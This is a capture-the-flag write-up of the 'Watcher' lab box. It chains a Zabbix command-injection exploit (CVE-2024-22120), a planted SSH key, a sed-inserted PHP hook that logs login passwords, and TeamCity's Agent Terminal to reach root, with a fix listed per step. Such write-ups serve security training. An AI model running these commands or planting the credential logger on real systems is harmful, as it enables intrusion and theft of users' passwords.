Watcher
Summary
I found a Zabbix monitoring frontend on a virtual host that allowed anonymous guest access and ran a pre-release version (7.0.0alpha1) with a known command-injection vulnerability. Using only the guest session and a host ID visible in the inventory page, I ran operating-system commands as the 'zabbix' service account, which exposed the first flag. That account had write access to the Zabbix web application's own source code, so I modified the login page to secretly log the username and password of any real user who signed in afterward.
A short time later this captured the credentials of 'Frank', an account for an internal TeamCity build server that was only reachable from the machine itself. TeamCity ran as root, so logging in as Frank and opening its built-in agent terminal feature gave me a root-level command shell, completing full compromise of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets (<frank_password>, <planted_pubkey_fragment>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Add the discovered hostnames to local name resolution.
$ echo "$TARGET watcher.vl zabbix.watcher.vl" | sudo tee -a /etc/hostsConfirm the exposed services and banners.
$ nmap -sC -sV -p22,80,10050,10051 $TARGETVirtual-host fuzz; -fs filters out the default-site response size to surface the real vhost.
$ ffuf -H 'Host: FUZZ.watcher.vl' -u http://$TARGET -w subdomains-top1million-110000.txt -fs 4991Fetch the frontend as guest and capture the session cookie (base64-decode the zbx_session value to read the sessionid).
$ curl --resolve zabbix.watcher.vl:80:$TARGET -sS -i -c zabbix.cookies http://zabbix.watcher.vl/FixDisable anonymous guest access to the Zabbix frontendMedium
Exact commands 2
Public CVE-2024-22120 exploit; confirms code execution as zabbix. Sid is pulled from the guest session cookie.
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'id'Read the user flag; output is <user.txt>.
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'cat /user.txt'FixPatch Zabbix to a version that fixes CVE-2024-22120Critical
Exact commands 2
Generate a local keypair.
$ ssh-keygen -q -t ed25519 -N '' -f ./zbx_keyInject the public key via the command-injection primitive.
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "install -d -m 700 /var/lib/zabbix/.ssh && printf '%s\n' '$(cat zbx_key.pub)' >> /var/lib/zabbix/.ssh/authorized_keys && chmod 600 /var/lib/zabbix/.ssh/authorized_keys && id"Exact commands 3
Back up the original file before modifying it (good practice, matches cleanup discipline used later).
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "cp /usr/share/zabbix/index.php /tmp/index.php.bak"Insert a credential-logging hook into the login success block of index.php.
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "sed -i \"/CWebUser::login(getRequest('name',ZBX_GUEST_USER), getRequest('password',''))) {/a \$file=fopen('/usr/share/zabbix/creds.txt','a+'); fputs(\$file, 'Username: '.\$_POST['name'].' | Password: '.\$_POST['password'].\"\\n\"); fclose(\$file);\" /usr/share/zabbix/index.php"Retrieve harvested credentials after waiting for a real user to log in.
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'cat /usr/share/zabbix/creds.txt'FixLock down write access to the Zabbix application source treeHigh
Exact commands 3
Enumerate listening sockets from the zabbix shell; reveals TeamCity on 127.0.0.1:8111.
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'ss -tulnp'Intended approach: tunnel the loopback TeamCity port out to my machine (requires an interactive zabbix shell; blocked here since the account's shell is disabled. Command-injection relaying was used instead).
$ ssh -i zbx_key zabbix@watcher.vl -L 8111:127.0.0.1:8111 -NAuthenticate to TeamCity as Frank (run through the available command-execution channel).
$ curl -sS -c tc.cookies -d 'username=Frank&password=<frank_password>' http://127.0.0.1:8111/loginSubmit.htmlFixEnforce unique credentials and MFA for internal application accountsHigh
Exact commands 2
WebSocket client that opens TeamCity's Agent Terminal (as Frank) against the active build agent and issues commands; replace with manual browser use of TeamCity's Agents > Agent Terminal UI if scripting is unavailable.
$ python3 teamcity_root_ws.pyRun inside the Agent Terminal session; confirms uid=0 and reads the root flag (<root.txt>).
$ id; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)FixStop running TeamCity as root and restrict the Agent Terminal featureCritical
Exact commands 1
Strip the planted key line and remove the temp file.
$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "grep -v '<planted_pubkey_fragment>' /var/lib/zabbix/.ssh/authorized_keys > /tmp/ak && cat /tmp/ak > /var/lib/zabbix/.ssh/authorized_keys; rm -f /tmp/ak"Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
| 10050/tcp | unknown recon-sweep-discovered |
| 10051/tcp | unknown recon-sweep-discovered |